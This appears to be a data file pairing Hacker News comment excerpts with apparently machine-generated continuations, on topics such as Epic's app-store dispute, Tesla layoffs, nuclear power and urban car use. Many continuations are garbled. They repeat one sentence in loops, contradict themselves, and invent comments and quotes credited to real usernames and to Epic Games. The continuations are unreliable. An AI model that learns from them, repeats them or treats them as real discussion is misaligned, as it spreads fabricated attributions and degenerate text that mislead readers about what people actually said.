ago.\n\n------\nericssmith\nI had a KIM-1 in the late seventies and for several years I would run into\nother people who used one, but 1985 seems really late for programming on one\nof these. For me, the KIM-1 was my first experience with programming and a\ncomputer of any sort. It influenced my taste for low-level concepts, not only\nthrough x86 assembly programming for graphics in the 90s but much later in the\nlambda calculus and combinatory logic. I'm tickled that the KIM-1 is seeing\nsuch a resurgence of interest.\n\n~~~\njgrahamc\nIt was late to be programming one but it was (a) what was available where I\nwas and ("} +{"output_text": " tomorrow is\nhard to wrap my head around.\n\n~~~\njoezydeco\nI think it's a little more complicated than that.\n\nThe article is about the \"new normal\" of a world where the cost of goods is\nconstantly dropping.\n\nThe problem is that the cost of goods is not constant. It's a function of\nsupply and demand.\n\nIf you're a manufacturer, you can't just keep making the same product and\n", "input_text": " access to the proverbial printing press taking a hearty cut), and\nwe get to our current point where things that used to be owned are now just\nrented from banks.\n\nAsk yourself how many people have avoided owning a computer, knowing that\nprices are always dropping? How many people have gone hungry, figuring that\nfood will be cheaper next week?\n\n~~~\ngfodor\nI think the theory is not so much that people go hungry because food will be\ncheaper tomorrow, but that there is a perverse _incentive_ to spend a little\nless because you'll be able to get a little more with it later. I'm not sure I\nbuy this theory but I think it's more about the macro effects of a small tweak\nin incentives.\n\n~~~\nimaginenore\nThat theory is complete nonsense.\n\nIf you wait a little longer, you can buy a better tablet, a better computer, a\nbetter phone, a better TV with the same amount of money (inflation-corrected\nor not). That doesn't stop people from buying all kinds of electronic devices,\neven though they get obsolete much faster than their money.\n\n~~~\ngfodor\nThe point is not that it stops people from buying things, but that on a macro\nscale it will cause people to delay or dampen their consumption. Sites like\n[http://buyersguide.macrumors.com/](http://buyersguide.macrumors.com/) show\nthis phenomenon exists, the question is how much of an effect it has when it's\na few % yearly discount spread out over _every_ good and service.\n\n------\nsosuke\nSuch a hard thing to reason out in my non-economist brain. The idea that\npeople won't spend money today because something may be cheaper"} +{"output_text": " that is a crime. But\nthis is a case where the Japanese government has gone too far.\n\n~~~\nmatt4077\nI don't think it's a stretch to say that Ghosn's treatment is a direct result\nof the Japanese government's desire to maintain a strong economy.\n\n~~~\nanonu\nI agree. I think the Japanese government is trying to maintain a strong\neconomy by any means necessary.\n\n------\nmatt4077\n", "input_text": " things out. Incremental\nreverse search with ctrl-r is not new and does not require a \"modern\" shell\nunless you've been using Unix forever, in which case you surely knew about it\nalready.\n\nAnyway just wait until this person figures out ctrl-a and ctrl-e and alt-.\nThen minds will truly be blown.\n\n~~~\nreuven\nOP here: I've been using Unix as my primary desktop, and Emacs as my primary\neditor, since 1988. I've known about these keybindings for a heckuva long\ntime. But I keep encountering people who don't, and who are delighted to learn\nsomething new. I thought that it would be nice to share, that's all.\n\n~~~\nderwiki\nIt was nice to share, thank you! I remember how excited I was the first time I\nlearned about this command.\n\n \nExamining Carlos Ghosn and Japan's System of 'Hostage Justice' - onemoresoop\nhttps://www.japantimes.co.jp/news/2019/04/17/national/crime-legal/examining-carlos-ghosn-japans-system-hostage-justice/\n======\nanonu\nGhosn's handling by the Japanese is utterly despicable. No habeas corpus...\nno due process.\n\nGhosn is credited with a stunning corporate turnaround and creating billions\nof dollars of value for a Japanese company and the Japanese people. I am\ncertain foreign corporations who do business in Japan are thinking long and\nhard about the implications and potential risks of operating there.\n\nTo be clear - I am not saying Ghosn is innocent. He may very well have created\nspecial corporate structures to siphon off cash - and"} +{"output_text": "have a space program, but it will be a very small one.\n\n~~~\nriantogo\nI agree with you. I think we need to find a way to optimize for both.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI think it's great that the government is investing in solar, but I don't\nthink it's a good idea to have the government be the only one investing in\nsolar", "input_text": " he's going to get heat for it.\n\nThe financial press has an obligation to talk about this stuff. Investors\ndeserve to be informed.\n\n------\nmyrandomcomment\nStill waiting for my site visit for the $1000 I put down a very long time ago\nfor my solar roof.\n\n------\nriantogo\nSomewhere along the way I have come to appreciate that as a society we need to\noptimize better for psychological, financial and physical wellbeing of people\nprioritized by proximity: employees, community, humanity. It will definitely\nslow down innovation. We might go to Mars 20yrs late, no self driving cars for\n10 more yrs, walk around the city some more before electric scooter land etc.\n\nOf course it is in conflict with innovations in humanity impacting products\nlike cure for cancer, malaria etc. It would be nice to figure out a solution\nthat provides a good balance.\n\n~~~\nManFromUranus\n>It will definitely slow down innovation\n\nIt will definitely slow down innovation. Some projects / aspirations will come\noff the table completely. Mars? Forget about it. All your mars money will be\ntreating AIDS/Malaria/Cancer/Whatever. All NASA and space exploration money\nwill go to feeding poor people and refugees and all manner of charitable\ncauses, these causes will only ever multiply ad infinitum. I think there is\nreally only money for one or the other. You can have a comfy easy welfare\nstate life, or you can explore and reach for the stars.\n\nYou can't do discount Mars, or space exploration on the cheap, you basically\ncan't have both. Your welfare state will make it so that you don't ever really\nhave enough money to actually do any kind of space exploration. Sure you can\n"} +{"output_text": " is irrelevant.\n\n~~~\nwhichquestion\n>driving is expensive\n\nI don't think that's true. I live in a city with a lot of parking. I pay $1.50\nper hour to park in a garage. I pay $1.50 per hour to park in a lot. I pay\n$1.50 per hour to park in a garage. I pay $1.50 per hour to park in a lot.\n\nI don't think that", "input_text": " benefit of other students.\n\n~~~\nacdha\nHow does this \u201cbenefit\u201d other students? They're the ones who are being\ninconvenienced by scofflaws and if it's like most other places quite likely\nendangered: the same people who park illegally tend to be cavalier about\nblocking bike lanes and curb cuts, speeding, rolling through crosswalks, etc.\n\n~~~\nflatiron\nAs someone who commuted to college parking illegally is just something you\nhave to do. I had parking fines I had to pay before receiving my diploma even\nthough I made the grades and such. Parking and universities is a mess.\n\n~~~\nnotatoad\n>parking illegally is just something you have to do\n\ndriving to college is not something you _have to do_. it's something you\nchoose to do. parking is a side effect of driving, not a god-given right.\n\n~~~\nwhichquestion\nIf you are low income, and need to get to school but have no other way to go\nthan to drive, what else should you do?\n\nIt seems like you are suggesting that some people have other choices than\ndriving. There are a lot of colleges with no accessible public transportation\ninfrastructure.\n\nMany people don\u2019t have the financial means to do anything else, especially\nwhen there isn\u2019t the public transportation infrastructure to support them.\n\n~~~\nnotatoad\nwhat does low income have to do with this? driving is _expensive_. between\nfuel, vehicle maintenance, parking, and insurance, driving your personal\nvehicle should not be the \"low income\" choice.\n\nIf there's truly no choice other than driving (which isn't really possible,\nbecause if driving alone is an option then so is carpooling), your income\nlevel"} +{"output_text": " is that\nmost people who are laid off are not in a position to negotiate.\n\n~~~\nmlthoughts2018\nI\u2019m not saying it\u2019s easy to negotiate, but it\u2019s a good idea to do so.\n\n------\njedberg\nI'm not sure why this is news. Tesla has been laying off people for years.\n\n~~~\njedberg\nI guess I should clarify. I'm not saying this is news, I'm saying", "input_text": "porsche-the-hedge-fund-that-also-\nmade-cars/). The moral of that story was, if you're \"fine as long as you can\nraise capital\", then you're actually in a very precarious position. And it was\neven another luxury car company to boot!\n\nNot that Tesla is making the same speculative financial shenanigans that\nPorsche was, but the point is, access to capital has a tendency to dry up\nright when you need it most. If there's a recession in the next 18-24 months\n(which, glancing at yield curves, is looking increasingly likely) and lending\ntightens up, Tesla might not find it as easy as you think to raise capital\nright when they need it to avoid running out of money.\n\n~~~\nttul\nAnd Tim Cook is waiting for that moment to arrive, so that he can put an apple\non every Tesla.\n\n------\nhi41\nWhy is Tesla doing this? It is riding high on the success of its electric cars\nand Elon Musk is so famous and is considered a visionary.\n\n------\nmlthoughts2018\nFriendly PSA: always negotiate severance. Companies can always be forced to\nrestructure like this or even just choose to on a whim. Pressure from the\nboard, hiring a new CTO who wants to bring in his or her own people, etc. etc.\n\nAlways make sure you are happy with what type of offsetting compensation\nyou\u2019ll receive in this eventuality _before_ taking the job, and consider it a\nhuge timesaver if an employer passes on you because you asked to negotiate a\ncompetitive severance package.\n\n~~~\norgansnyder\nEasy to say for those of us with highly-demanded skillsets. My hunch"} +{"output_text": " the emperor. He was the first emperor, but he was not the emperor.\n\n~~~\njfengel\nI think that's a bit of a stretch. Augustus was the first emperor, but he was\nnot the emperor. He was the first emperor, but he was not the emperor. He was\nthe first emperor, but he was not the emperor. He was the first emperor, but\nhe was not the emperor. He was the first emperor, but he was not", "input_text": " founding fathers would cite our current president as the reason\nthey didn't trust direct democracy...\n\nIt's food for thought whenever I think about pushing more towards direct\ndemocracy. I've been leaning towards proportional electoral votes, but there\nare so many unintended consequences.\n\n~~~\nultramundane8\nI really can't grant that first paragraph in good faith without some evidence.\n\nHow could you possibly divine the intent of the 2016 Trump campaign? We still\ncan't agree on a vast number of its actions, let alone its strategy.\n\n~~~\nkthejoker2\nYou want evidence that Trump\n\n1) didn't try to win the popular vote i.e. specifically did not court the\nvotes of certain people\n\n2) In order to run as a populist i.e. shore up votes from his base\n\n3) because the Electoral College system supports just such a strategy, such\nthat winning 51% of a few states while only getting 45% of the vote\n\nWell, other than his entire campaign, the clearest evidence I can give is this\nin the face of actual polling numbers indicating that #1 and #2 had come to\npass in the summer of 2016, the campaign's advertising dollars focused almost\nexclusively on the Obama states he ended up flipping.\n\n \nAncient monument sheds light on battle of Actium - longdefeat\nhttps://www.independent.co.uk/news/science/archaeology/roman-empire-cleopatra-octavian-ceasar-egypt-battle-sea-nicopolis-history-archaeology-a8843886.html\n======\nvillage-idiot\nThe thing I find interesting is that to the Romans, Augustus (Octavian) was\n_not_"} +{"output_text": " the Play Store, and it\u2019s\n> impossible to sideload apps.\n\n> Epic Games\u2019s statement:\n\n> \u201cGoogle\u2019s policy is that you can\u2019t sideload apps. We\u2019ve been trying to\n> figure out how to get around that for a long time. We\u2019ve been trying to\n> figure out how to get around that for a long time. We\u2019ve been trying to\n> figure out how to get around that", "input_text": ". It's not without\nprecedent. But it's just not allowed for mobile.\n\n> designing hardware, OS releases, etc. Epic did not design their own\n> hardware, their own silicon, build entire global supply chains, design UX,\n> etc. Apple and Google did. Do they not deserve a cut?\n\nSeriously? You think Epic should have to pay for the hardware that we\nconsumers buy for thousands of dollars? Apple has some of the highest hardware\nmargins in the world. They don't need software developers to pay for the\nhardware that we've already paid too much for. These aren't consoles sold for\na loss.\n\n~~~\ninterpol_p\n> Because they're the only option. I mean there's no reason why Epic couldn't\n> host the app on their server that people could download. It's not without\n> precedent. But it's just not allowed for mobile.\n\nDidn't they move to the Google Play Store (from their own download manager)\nspecifically because sideloading was too hard and scary for customers that it\nwas having an impact on Fortnite installs?\n\nHaving the option wouldn't be enough for Epic even if it were available on\niOS, because it wasn't enough for them on Android\n\n~~~\nwvenable\nWell Google specifically doesn't make it easy or safe to install apps from\nother sources. But there's no reason why it couldn't be just as simple and\nsafe as getting it from the app store.\n\nThe problems mentioned below are really only possible because Google kind of\nleaves everyone to the wolves when it comes to sideloading.\n\n~~~\ninterpol_p\nEpic's quote at the time was the following:\n\n> Google puts software downloadable outside of"} +{"output_text": " to get \"X\" and you don't know him, you will probably\nhesitate to do it.\n\n~~~\naskafriend\nI think you're right.\n\nI think the problem is that the people who are successful on Instagram are\nthose who have built a relationship with their audience.\n\nI think the people who are successful on Instagram are those who have built a\nrelationship with their audience.\n\nI think the people who are successful on Instagram are those who", "input_text": "KBHD aren't superstars because they have millions of\nfollowers. They're superstars because they've been marketing their personal\nbrands from the beginning, and so every (real) follower they've gained is\n_also_ a fan. But this does not apply in every situation.\n\n(It _especially_ doesn't apply to corporate social-media outreach, something\nof interest to the HN crowd: just posting cool stuff your startup made might\nattract a \"real audience\" of people who _want that stuff_... but unless you're\nbranding that stuff as _yours_ when you do that, you won't be able to later\nconvert that audience _at all_. That should be obvious to someone who's job is\n\"social-media brand manager\"\u2014but it's _not_ obvious to someone who wants to\nget rich selling merch to Insta followers.)\n\n~~~\naskafriend\nAh, got it. I think we're actually on the same page then!\n\n------\nsuperasn\nI think the problem with this is the same problem with email marketing. It\ndoesn't mean that marketing on Instagram doesn't work.\n\nI know people who have thousands of subscribers and can't sell $1000 of stuff\nand then there are people with 1000 subscribers that can sell $50k worth with\na single email.\n\nIt all comes down to the relationship with your list (I guess in this case\nyour followers). If your list trusts you and trust is easy to gain by giving a\nlot of value + authority, they will buy from you. Think if your best friend\ntell you to get \"X\" and he is an expert too then chances are you will try \"X\"\neven if doesn't make sense at the moment. On the other hand if a random\nstranger tells you"} +{"output_text": "place to buy apps.\n\n~~~\nblunte\nI agree that there are many app stores, but I don't think that is the\nexplanation for the success of Google Play.\n\nI think the reason is that Google Play is the only app store that is\n_universal_. It is the only app store that is available on all devices.\n\nApple has a few app stores, but they are not universal. They are available on\niOS devices, but not on Android", "input_text": " people there are. The\nsecond thing you'll notice is that food portions in restaurants and cafeterias\nare much larger. Strangely, everybody feels hungry all the time.\"\n\n~~~\nanigbrowl\nSad but true :-/\n\n------\nelnate\nWell, time to work out.\n\n------\nalextingle\nFat American Todd looks a bit like Charlie Sheen.\n\n------\nadamwong246\nEwww\n\n \nFortnite seems to have been removed from the Play Store as well - cinntaile\nhttps://play.google.com/store/apps/details?id=com.epicgames.fortnite&hl=en_US\n======\nblunte\nGood. The sooner a big well-funded company hits this duopoly wall, the better.\nThey will have the resources to fight this, and the outcome will hopefully be\npositive for all other developers.\n\nApple and Google are gatekeepers to all mobile devices (practically), but the\nvalue they add as gatekeepers is questionable. Certainly there is some value\nin their delivery (and much lesser so, their security) service; but their fees\nare not market set (since they are effectively monopolies by device type). If\nthere were actual competitors, their rates would be much lower... around 2-5%\nprobably.\n\n~~~\nsimonh\nAndroid has a plethora of app stores, there have always been tons of them.\nSome phones have shipped with three or more, one from Google, one from the\nphone manufacturer and one from the network. Then you could add another one\nfrom Amazon, etc, etc.\n\nGoogle Play Store won out on Android simply because the multitude of stores\nwas a nightmare for customers. They don\u2019t want multiple stores, they want one\n"} +{"output_text": " a lot of talk about how Ruby is a better language than JS, but I\nhaven't seen any evidence to back that up.\n\n~~~\ntracker1\nI think it's more about the ecosystem. I'm not a Ruby developer, but I do\nhave a lot of Ruby tools installed. I'm not a JS developer, but I do have a\nlot of JS tools installed.\n\nI'm not saying one is better than the other, but I do think that", "input_text": "\nToolkit looks like it's even lightweight and share the similar \"minimal\"\nprinciple, I will give it a try and see if it provides enough out of box, and\nI hope to see more of this kind of light yet modern frontend framework.\n\n[1] [https://github.com/google/web-starter-kit](https://github.com/google/web-\nstarter-kit)\n\n~~~\ntracker1\nIf you use Bootstrap from the source, it's actually pretty modular. I bring it\nin with npm, then copy the bootstrap.less and variables.less into my own\nproject (updating the references to those in the node_modules path)... this\nlets me do quite a bit in terms of not loading the kitchen sink, while still\nbeing flexible.\n\nAs an aside, I'm not quite sure why less hasn't won over sass... By nature of\nless being JS driven it is much closer to best in breed tools you need anyway\nfor web development (npm) in my opinion. It kind of bugs me that to do modern\nweb development, you are likely to want/need to have Node (or io.js), Python\nand Ruby installed. I tend to stick to Node based tools (there is sass for\nnode, but it brings in a binary module). This isn't to be expressly negative,\njust that I'm surprised there's still broad support for both less and sass...\nwith sass having a bit of an edge in the greater community, it would seem.\n\n~~~\nomegavesko\nDo developers really care whether a tool is written in JS rather than Ruby, or\nvice-versa? If you're running *nix it's pretty likely you have Ruby installed\nout of the box anyway.\n\nThere's"} +{"output_text": " this\nisn't a violation of the ToS.\n\n~~~\ndang\nIt's not. The ToS is a contract between the site and the advertiser. The\nadvertiser is free to not use the site if they don't like the ToS.\n\n~~~\nCommieBobDole\nI'm not sure I understand your point. The ToS is a contract between the site\nand the advertiser. The advertiser is free to not use", "input_text": "\" and their speech.\n\n~~~\nCommieBobDole\nOne the one hand, as someone more or less on the left, I am a little concerned\nwith the political orthodoxy I see on the left, where there's a package of\n\"correct\" ideas of varying quality, and disagreeing with or having varying\nlevels of enthusiasm about any of them is seen as almost worse than rejecting\nthem all entirely.\n\nOn the other hand, nearly everyone I see these days who talks about being\nreally passionate about free speech and preventing groupthink seems to be an\nactual goddamned neo-Nazi whose idea of free speech is the right to scream\nracial slurs at top volume into the faces of \"libtard cucks\" until they're\ndriven out of public spaces and they can resurrect the Third Reich without\ninterference.\n\n~~~\nexistencebox\nI realize your statement may be slightly hyperbolic, but I want to reassure\nyou there are many moderate/centrally leaning individuals passionate about\nfree speech and the power of questioning any status quo as a tool to seek\ntruth. (obviously not as many as I might desire, but...) This _cannot_ be an\nissue that only becomes provenance of the worst kinds, because then it becomes\neasy to dismiss. One need only be a student of history to see the importance\nof the above for _breaking_ oppression and tyranny.\n\n(Sorry, not to distract from the OP and the primary discussion, I just felt\nstrongly enough about the above statement to wave a \"I promise we're out here\"\nflag.)\n\n------\nCommieBobDole\nThis is literally a flag for \"this thing is uncontroversial enough that we can\ndisplay ads on it without the advertiser complaining\". I don't see how"} +{"output_text": " of pilots who didn't improve were\nactually worse pilots than the 33% who did.\n\n~~~\ncpncrunch\nI agree that it's not very meaningful, but I think it's a fair point to make.\n\n------\njoe_the_user\nI'm not sure I understand the point of this study.\n\nThe article says that the \"DLPFC\" is a part of the brain that is involved in\n\"working memory\" and \"motor", "input_text": "\n\n------\nJorgeGT\nOn a side note, I'm totally stealing the trick of making MATLAB colorbar axis\nwhite as in Fig. 2\n[http://www.frontiersin.org/files/Articles/175655/fnhum-10-00...](http://www.frontiersin.org/files/Articles/175655/fnhum-10-00034-HTML/image_m/fnhum-10-00034-g002.jpg)\n\n------\nbitwize\n\"I know kung fu.\"\n\n\"Show me.\"\n\n~~~\nkelvin0\nYup, that one crossed my mind as I was reading the article. Looks like we're\nstill a ways off this though.\n\n------\nlifeisstillgood\nThat is without a doubt the freakiest thing I have read this week.\n\n(Tl:dr - they recorded trans-cranial currents in motor and working memory\nareas of experts landing a plane and replayed that or a control into novice\npilots heads. The novices perfeomed 33% better.)\n\n~~~\ncpncrunch\nWhere does it say they performed 33% better? The only mention of 33% is:\n\n\"the reduced variance reached statistical significance in >33% of individual\nN-back trials comparing DLPFC stim with DLPFC sham\"\n\nwhich means something completely different. I think this study might be\nterribly overblown.\n\n~~~\nadwf\nAboslutely. I'll admit to not having read the actual study, but saying that\n33% of pilots improved is fairly meaningless. You could also say that 67% of\npilots _didn 't_ improve.\n\nIt might even be the case that those 67%"} +{"output_text": "ining about stolen ideas.\n\n~~~\npaulsutter\nI\u2019m not sure why this is getting downvoted. I\u2019m not saying the idea is\noriginal, but the idea of a basket of commodities is not.\n\n~~~\nespeed\nI'm not sure why you're being downvoted.\n\nThe idea of a basket of commodities is not original.\n\nThe idea of a basket of currencies is not original.\n\nThe idea of a", "input_text": " site for this is:\n\n[https://gpsearch.azurewebsites.net](https://gpsearch.azurewebsites.net)\n\nSome settings are set in the local security policy file, rather than in the\nregistry. From memory, if you have local admin rights you have to specifically\ngrant your user account full control to the adm files, then you can use the\nlocal security policy MMC snap in to change settings.\n\nOnce you change things, they will periodically be set back, which is annoying,\nbut the tip near the end of the article might work to stop that.\n\nAnother tip is to install a dual boot version of Windows on an encrypted\npartition, and use that instead of the \"official\" install. Of course, this\nonly works if you don't need frequent access to resources on the domain.\n\n------\nSpivak\nThis is actually one of those features that GNOME gets right with dconf\nlockdown. You can, on a per setting basis, decide whether users are allowed to\noverride each setting.\n\n------\namaccuish\nAgree with others, yawn. Unplug your computer during login to interrupt the\nprofile load and be assigned a temporary profile (unless disabled) and you'll\nsee no user policies applied.\n\n \nMIT Fellow Says Facebook \u2018Lifted\u2019 His Ideas for Libra Cryptocurrency - espeed\nhttps://www.coindesk.com/mit-fellow-accuses-facebook-of-lifting-his-ideas-for-libra-cryptocurrency\n======\npaulsutter\nOh come on, neither a basket of commodities nor a basket of currencies are\noriginal ideas. During the security token craze of 2017/2018 many similar\nideas were proposed and we don\u2019t see those folks wh"} +{"output_text": " being the future, is still a\nterrible idea.\n\n~~~\njosteink\n> Chrome bundles flash - which, despite HTML5 being the future, is still a\n> terrible idea.\n\nI don't know what you're talking about.\n\nChrome bundles Flash because it's the only way to get Flash on Linux.\n\n~~~\nmoonchrome\n> Chrome bundles Flash because it's the only way to get Flash on Linux.\n\nI don", "input_text": "\nHere's a question: \"Why would a System Administrator take the time to install\nFirefox on all the company machines?\"\n\n~~~\nnobleach\nA system administrator is going to most likely be using some sort of push tool\nor have Firefox in the default image - if they care enough to use it at all.\nIn all my years of doing Network/Sysadmin (1999 - 2010), Microsoft always told\nus their browser was the best and easiest to configure with system policies...\nso the higher ups just bought it, hook, line and sinker. Never mind that\nMicrosoft had never PROVEN that claim.\n\n~~~\nprotomyth\nor deploy a package with some 3rd party... but it still takes effort, what are\nthe reasons for spending it?\n\n------\nmrspeaker\nI recently switched back to Firefox as my primary browser because it's the\ncompany I distrust least. Turns out it's as exactly the same as Chrome now\nanyway - I keep forgetting which browser I'm using.\n\nThe reason I switched back was because Google's updater ping (according to\nLil' Snitch) is very aggressive (several times a day) and also a long time ago\nI vowed to switch to the browser that first implemented ES6's arrow function\nsyntax ;)\n\n------\nkenrick95\nWhen someone asked me why I use Firefox, I always pointed out this feature\n(Tab Groups) which is very good but not publicized widely by Mozilla.\n\n[https://support.mozilla.org/en-US/kb/tab-groups-organize-\ntab...](https://support.mozilla.org/en-US/kb/tab-groups-organize-tabs)\n\n------\nmoonchrome\nChrome bundles flash - which, despite HTML5"} +{"output_text": " fix it.\n\nI have been using Emacs for about 15 years and I have been using Lisp for\nabout 10 years. I have been using Emacs for about 10 years and I have been\nusing Lisp for about 15 years. I have been using Emacs for about 10 years and\nI have been using Lisp for about 15 years. I have been using Emacs for about\n10 years and I have been using Lisp for about 15 years. I have been", "input_text": " - I think the nuclear thing\nis a distraction from them, and kept alive by a very active lobby.\n\nI am happy to change my opinion if you come up with a new process that's\nactually fail-safe, that's actually guaranteed to not leak radiation, and that\ndoesn't produce nuclear waste.\n\n~~~\njbri\nWhat alternatives can you offer?\n\nSolar and wind energy are not reliable enough to provide base-load coverage,\nhydro power is restricted to very specific terrain and has a devastating\neffect on local ecology, and really the only other option is fossil fuels.\n\nAt this point, the options literally are nuclear, or fossil fuels. And burning\nmore and more coal for power (which puts out more radiation and kills more\npeople than a nuclear plant, FYI) because anything less than perfection is not\nsuitable just seems like a really, _really_ shortsighted idea.\n\nAn alternative energy source does not need to be perfect to be worth switching\nto. It just needs to be better than the status quo. And nuclear power,\ncurrently, is _very much_ better than coal.\n\n~~~\ncperciva\n_hydro power is restricted to very specific terrain and has a devastating\neffect on local ecology..._\n\n... and isn't any safer than nuclear power. Four people died when the Japan\nearthquake caused a dam to fail -- that's more deaths than the Fukushima NPP\nhas caused, but oddly enough nobody is calling for a worldwide halt to dam\nconstruction.\n\n \nEmacs Lisp's Future - rutenspitz\nhttps://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00434.html\n======\nmark_l_watson\nIf it isn't broken, don't try to"} +{"output_text": " him working on it and asked him to\njoin him. Woz said he was busy. Jobs said he would pay him $500 a week to work\non the Apple II. Woz said he would think about it.\n\nJobs called Woz again and said he would pay him $1000 a week to work on the\nApple II. Woz said he would think about it.\n\nJobs called Woz again and said he would pay him $2000 a week to", "input_text": " no hard and fast rule about which skills anyone will have.\n\n* Technical people might be good at sales.\n\n* \"Non-technical\" people might not be good at sales.\n\n* \"Knowing what to build\" and \"able to sell\" are skills which may or may not be found in the same person.\n\n* Knowing what to build might be a skill of any of your founders have, depending on their experience in the market.\n\nThere's probably a few more. I suppose this is the trouble with trying to\nwrite concise generally true comments, you forget to cover all the edge cases.\n\n~~~\nanamax\n> \"Knowing what to build\" is fine for technical people who are building a\n> simple web based tool which they'll use themselves. However, this doesn't\n> generalise to building software for complex industries.\n\nWho said anything about software?\n\n> As an example, a few years ago I was advising a company who wanted to\n> automate the calculation of tax. You would have thought that this was easy,\n\nNo, I wouldn't, because I know a little about taxes. A technical tax person\nwould know even more and understand a lot of the complexity.\n\n> but in fact it's the most complex thing ever and you need that non-technical\n> specialist domain knowledge.\n\nWhy do you persist in saying that domain knowledge is necessarily non-\ntechnical and that technical people can't have it?\n\nBoth are wrong.\n\n------\nfhe\nIf you were a non-technical founder like Steve Jobs, well, perhaps. I am\nreading the book \"iCon Steve Jobs\". And here's a recount of the very early\ndays of Apple according to the book:\n\nWoz was working on the Apple II. Jobs saw"} +{"output_text": "\nPortuguese or not).\n\n~~~\ncperciva\n_What I don 't get is why some hospitals (seems American hospitals don't do it\nthis badly) won't let you sleep when they aren't even coming to check on you._\n\nI think it's because they're afraid of lawsuits.\n\n~~~\nmicrocolonel\nI'm not sure if that's the case, but I think it's a good reason.\n\n------\njim", "input_text": " to be\naddressed, but they always seem to miss a reasonable call to action. In this\ncase it mentions what the author did (refuse to let her sleep be interrupted\nand make a verbal agreement with those tending.)\n\nBut if that doesn't work? For instance, what do I do about the new nurse that\ndoesn't want to upset the dr and insists on doing the 4am blood draw?\n\nWith hard facts about WHY the nurse doesn't need that 4am draw I could\nformulate an argument to convince the nurse to let me sleep instead. But\noutright refusing to let the nurse do their duties just feels... obnoxious.\n\n------\nanon2775\nWhen I was at the Stanford cardiac unit last, they let me sleep. That wasn't\nthe problem but they had a problem giving me privacy: door wide open, curtain\nwide open.\n\n~~~\ncperciva\nPatients with privacy are patients who end up dying. Hospital floor plans are\ndesigned to ensure that nurses can see if patients take a turn for the worse.\n\n------\nmicrocolonel\nI understand if clinical staff are actually coming to check on you. In many\ncases you may need to be checked on every few hours to prevent some decline in\ncondition from going unnoticed. What I don't get is why some hospitals (seems\nAmerican hospitals don't do it this badly) won't let you sleep when they\naren't even coming to check on you.\n\nLast Halloween in Toronto I got a (spooky) appendectomy, and although they\nwere not coming to check on me, I could not sleep because I was in a loud room\n(the patient beside me had his whole immediate family watching over him, and\nmy mind was awake, trying to decide whether they were speaking Brazillian"} +{"output_text": " doesn't make it a PR move.\n\n~~~\njonplackett\nIt's a PR move because it's a PR move.\n\n------\njedberg\nI'm not sure why this is news.\n\nApple has been doing this for years.\n\n~~~\njedberg\nI guess I should clarify. I'm not saying this is news, I'm saying that it's\nnot news that Apple has been doing this for years.\n\n------\n", "input_text": " the \"good guy\" and taking an opportunity to paint their\ncompetitor in a bad light. It really betrays just how important that 30% fee\nmust be to them. The plot just keeps thickening.\n\n------\ntony\nIf anyone likes to follow app store case law, Oyez has the verbal arguments\nfor Apple v Pepper that follow with text captions:\n[https://www.oyez.org/cases/2018/17-204](https://www.oyez.org/cases/2018/17-204)\n\n[1]\n[https://en.wikipedia.org/wiki/Apple_Inc._v._Pepper](https://en.wikipedia.org/wiki/Apple_Inc._v._Pepper)\n\n------\njandrese\nAs I see it this improves their chances of winning the suit. By having Google\nact in the same manner they have a stronger case that the market is a duopoly\nthat restricts customer's freedom.\n\nRemember that courts tend to be very lenient towards business practices, so it\ntakes egregious behavior to convince them to step in. This bolster's Epic's\nposition.\n\n------\njonplackett\nThis is a PR move. They would have known they\u2019d get kicked off for adding\ntheir own payment system.\n\nThey didn't make this in the time it took Apple to reject it. It's all pre-\nplanned\n\n[https://www.youtube.com/watch?v=N6B4glqJFz0&feature=emb_rel_...](https://www.youtube.com/watch?v=N6B4glqJFz0&feature=emb_rel_end)\n\n~~~\nMereInterest\nSo? That something is predictable"} +{"output_text": "\nhave a city with a lot of people, you need a lot of roads. If you have a lot\nof people, you need a lot of parking. If you have a lot of parking, you need a\nlot of roads.\n\n~~~\nmakeitsuckless\nI don't think that's true.\n\nI think the amount of roads and parking space is directly related to the\namount of people.\n\nIf you have a lot of people, you need a", "input_text": " space, you begin to feel that we're living in\nlittle islands surrounded by fast-moving rivers of lethal steel--lethal steel\nthat results in toxic gas and water runoff that sickens the remaining\npopulation that isn't directly killed at a rate of tens-of-thousands per year.\n\nGosh I hope we can figure this out in my lifetime.\n\n~~~\nars\nTravel is the driver of all human progress and development.\n\nWhat, you think the amount of roads we have now is a lot? We've always had\nroads, they were for carts, or horses, or anything else. There is nothing\nspecial about cars here.\n\n> Gosh I hope we can figure this out in my lifetime.\n\nWe did. We made travel cheap and easy and it has benefited us massively.\n\n~~~\nmakeitsuckless\nWe didn't have roads 4 lanes wide (which is a huge amount of additional land\nlost), and we didn't have the insane amount of parking space.\n\nEven a not particularly car friendly city like Amsterdam would look\ndramatically different if you removed the parking space, because it would free\nup such an insane amount of space.\n\nCars have multiplied the amount of space dedicated to transport, without\nactually adding much to human progress and development, what with most of it\nbeing used to carry individuals short distances from A to B and back again.\n\nI don't see the massive benefit here. It's a pointless habit we shaped a\nlife/work culture around with a mostly negative impact on the quality of life.\n\n~~~\nclassicsnoot\n>without adding much to human progress and development\n\nI am opposed to vehicles being the priority, but their prevalence is directly\nrelated to their usefulness within the economic regions they occur in. If you"} +{"output_text": " course.\n\n~~~\najju\nI agree that the app store is a better option. I was just trying to make a\npoint about the relative impact of the 30% cut on the two scenarios.\n\n------\njrockway\nI'm not sure I understand the point of this. I can already buy apps from the\napp store. I can already buy music from iTunes. I can already buy books from\nAmazon. I can already buy movies from iTunes. I can", "input_text": "'t have bluetooth before this update right? Which means\nit was enabled entirely through a software update. Is that right? I know it\noperates on the same frequency as wifi but still, that's pretty impressive,\nisn't it?\n\n~~~\nallenbrunson\nthe iphone had bluetooth before this update, but it was very limited in scope.\n\n------\najju\nHow good the micropayments feature is depends on what their cut on it is. 30%\noff of 10 cents hurts a lot more than 30% off of $10.00\n\n~~~\ncubicle67\num... in what way does it hurt more?\n\n~~~\najju\nThat was a stupid comment made in haste that makes no sense as written. Paying\napple 30% of repeated micropayments _would_ hurt me more than the alternative,\nbut it's only true in my context - which is probably not the context Apple\ndesigned their system for.\n\nI am building a web based service which can also be accessed via an iPhone\napp. I get paid via micropayments which I aggregate till they reach a certain\ndollar amount and then process via a payment processor that charges me in\nsingle digit percentages. I have the option of using iPhone's own micropayment\nservice but that would hurt me more.\n\n~~~\npieter\nThe advantage of using the app store micropayments is that users don't have to\ncreate a new account somewhere and put their account info in your app. They\ncan use an existing system and have a one-click buy option.\n\nIt'd be interesting to see what will result in more profits. My guess would be\nthat the increased sales on the iPhone outweigh the 